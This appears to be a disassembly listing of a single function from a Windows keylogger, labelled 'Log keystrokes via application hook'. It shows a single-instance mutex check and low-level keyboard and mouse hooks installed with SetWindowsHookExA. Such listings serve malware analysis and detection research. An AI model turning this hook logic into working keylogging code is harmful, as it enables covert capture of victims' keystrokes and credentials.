Function at 0x40e1a8
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x17
push 0
push 0
dec ecx
jne 0x40e1b0
push ecx
push ebx
mov eax, 0x40e0a8
call fcn.004052e0
xor eax, eax
push ebp
push 0x40e833
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
call fcn.004067ac
mov eax, dword [ebp - 0x14]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40e20b
push ebx
call sub.kernel32.dll_CloseHandle
push 0x2ee0
call sub.kernel32.dll_Sleep
jmp 0x40e211
push ebx
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x18]
call fcn.00406708
mov eax, dword [ebp - 0x18]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40e5bb
push ebx
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x1c]
call fcn.0040c070
mov edx, dword [ebp - 0x1c]
mov eax, 0x4111d4
call fcn.004037cc
cmp dword [0x4111d4], 0
je 0x40e2b8
mov eax, dword [0x4111d4]
call fcn.00403a14
push eax
lea eax, [ebp - 0x20]
call fcn.004085a4
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
call fcn.00406850
push dword [ebp - 0x28]
push 0x40e848
lea eax, [ebp - 0x2c]
call fcn.00406850
push dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00403ad4
mov edx, dword [ebp - 0x24]
pop eax
call fcn.00403a1c
mov eax, dword [ebp - 0x20]
mov edx, dword [0x4111d4]
pop ecx
call fcn.0040830c
lea eax, [ebp - 0x30]
call fcn.0040c2c4
mov edx, dword [ebp - 0x30]
mov eax, 0x4111d4
call fcn.004037cc
cmp dword [0x4111d4], 0
je 0x40e32d
mov eax, dword [0x4111d4]
call fcn.00403a14
push eax
lea eax, [ebp - 0x34]
call fcn.004085a4
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c]
call fcn.004068f4
push dword [ebp - 0x3c]
push 0x40e848
lea eax, [ebp - 0x40]
call fcn.004068f4
push dword [ebp - 0x40]
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00403ad4
mov edx, dword [ebp - 0x38]
pop eax
call fcn.00403a1c
mov eax, dword [ebp - 0x34]
mov edx, dword [0x4111d4]
pop ecx
call fcn.0040830c
lea eax, [ebp - 0x44]
call fcn.0040c494
mov edx, dword [ebp - 0x44]
mov eax, 0x4111d4
call fcn.004037cc
cmp dword [0x4111d4], 0
je 0x40e3a2
mov eax, dword [0x4111d4]
call fcn.00403a14
push eax
lea eax, [ebp - 0x48]
call fcn.004085a4
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x50]
call fcn.00406984
push dword [ebp - 0x50]
push 0x40e848
lea eax, [ebp - 0x54]
call fcn.00406a14
push dword [ebp - 0x54]
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.00403ad4
mov edx, dword [ebp - 0x4c]
pop eax
call fcn.00403a1c
mov eax, dword [ebp - 0x48]
mov edx, dword [0x4111d4]
pop ecx
call fcn.0040830c
lea eax, [ebp - 0x58]
call fcn.0040c020
mov edx, dword [ebp - 0x58]
mov eax, 0x4111d4
call fcn.004037cc
cmp dword [0x4111d4], 0
je 0x40e417
mov eax, dword [0x4111d4]
call fcn.00403a14
push eax
lea eax, [ebp - 0x5c]
call fcn.004085a4
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x64]
call fcn.00406a14
push dword [ebp - 0x64]
push 0x40e848
lea eax, [ebp - 0x68]
call fcn.00406a14
push dword [ebp - 0x68]
lea eax, [ebp - 0x60]
mov edx, 3
call fcn.00403ad4
mov edx, dword [ebp - 0x60]
pop eax
call fcn.00403a1c
mov eax, dword [ebp - 0x5c]
mov edx, dword [0x4111d4]
pop ecx
call fcn.0040830c
lea eax, [ebp - 0x6c]
call fcn.0040c02c
mov edx, dword [ebp - 0x6c]
mov eax, 0x4111d4
call fcn.004037cc
cmp dword [0x4111d4], 0
je 0x40e48c
mov eax, dword [0x4111d4]
call fcn.00403a14
push eax
lea eax, [ebp - 0x70]
call fcn.004085a4
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
call fcn.00406aa4
push dword [ebp - 0x78]
push 0x40e848
lea eax, [ebp - 0x7c]
call fcn.00406aa4
push dword [ebp - 0x7c]
lea eax, [ebp - 0x74]
mov edx, 3
call fcn.00403ad4
mov edx, dword [ebp - 0x74]
pop eax
call fcn.00403a1c
mov eax, dword [ebp - 0x70]
mov edx, dword [0x4111d4]
pop ecx
call fcn.0040830c
lea eax, [ebp - 0x80]
call fcn.0040c038
mov edx, dword [ebp - 0x80]
mov eax, 0x4111d4
call fcn.004037cc
cmp dword [0x4111d4], 0
je 0x40e51c
mov eax, dword [0x4111d4]
call fcn.00403a14
push eax
lea eax, [ebp - 0x84]
call fcn.004085a4
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x8c]
call fcn.00406b34
push dword [ebp - 0x8c]
push 0x40e848
lea eax, [ebp - 0x90]
call fcn.00406b34
push dword [ebp - 0x90]
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.00403ad4
mov edx, dword [ebp - 0x88]
pop eax
call fcn.00403a1c
mov eax, dword [ebp - 0x84]
mov edx, dword [0x4111d4]
pop ecx
call fcn.0040830c
lea eax, [ebp - 0x94]
call fcn.0040c054
mov edx, dword [ebp - 0x94]
mov eax, 0x4111d4
call fcn.004037cc
cmp dword [0x4111d4], 0
je 0x40e815
mov eax, dword [0x4111d4]
call fcn.00403a14
push eax
lea eax, [ebp - 0x98]
call fcn.004085a4
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0xa0]
call fcn.00406bc4
push dword [ebp - 0xa0]
push 0x40e848
lea eax, [ebp - 0xa4]
call fcn.00406bc4
push dword [ebp - 0xa4]
lea eax, [ebp - 0x9c]
mov edx, 3
call fcn.00403ad4
mov edx, dword [ebp - 0x9c]
pop eax
call fcn.00403a1c
mov eax, dword [ebp - 0x98]
mov edx, dword [0x4111d4]
pop ecx
call fcn.0040830c
jmp 0x40e815
push ebx
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0xa8]
call fcn.004065c0
mov eax, dword [ebp - 0xa8]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40e638
push ebx
call sub.kernel32.dll_CloseHandle
push 0
mov eax, dword [0x410650]
push eax
mov eax, 0x40d638
push eax
push 0xd
call sub.user32.dll_SetWindowsHookExA
push 0
mov eax, dword [0x410650]
push eax
mov eax, 0x40d688
push eax
push 0xe
call sub.user32.dll_SetWindowsHookExA
jmp 0x40e626
call fcn.00407eb4
call fcn.0040e000
test al, al
je 0x40e621
push 0
call sub.kernel32.dll_ExitProcess_1
push ebx
call sub.kernel32.dll_CloseHandle
lea edx, [ebp - 0xac]
mov eax, 1
call fcn.00402b08
mov eax, dword [ebp - 0xac]
mov edx, 0x40e854
call fcn.00403b60
je 0x40e66a
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.004064b0
call fcn.00406ecc
call fcn.0040d698
mov eax, dword [0x40f220]
mov eax, dword [eax]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40e762
push ebx
call sub.kernel32.dll_CloseHandle
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, dword [0x40f220]
mov eax, dword [eax]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40e75a
push ebx
call sub.kernel32.dll_CloseHandle
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, dword [0x40f220]
mov eax, dword [eax]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40e752
push ebx
call sub.kernel32.dll_CloseHandle
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, dword [0x40f220]
mov eax, dword [eax]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40e74a
push 0
call sub.kernel32.dll_ExitProcess_1
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x40e768
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x40e768
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x40e768
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40f1f8]
cmp byte [eax], 1
jne 0x40e7a2
lea edx, [ebp - 0xb4]
xor eax, eax
call fcn.00402b08
mov eax, dword [ebp - 0xb4]
lea edx, [ebp - 0xb0]
call fcn.004090f0
mov edx, dword [ebp - 0xb0]
mov eax, 0x4111d0
call fcn.004037cc
jmp 0x40e7ae
mov edx, 0x4111d0
xor eax, eax
call fcn.00402b08
lea eax, [ebp - 0xb8]
call fcn.004085a4
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0xbc]
call fcn.00406664
lea eax, [ebp - 0xbc]
mov edx, 0x40e864
call fcn.00403a1c
mov edx, dword [ebp - 0xbc]
pop eax
call fcn.00403a1c
mov edx, dword [ebp - 0xb8]
mov eax, dword [0x4111d0]
call fcn.0040deb8
mov eax, dword [0x40f230]
cmp byte [eax], 1
jne 0x40e810
call fcn.0040dd78
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.0040d940
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e83a
lea eax, [ebp - 0xbc]
mov edx, 0x2b
call fcn.0040379c
ret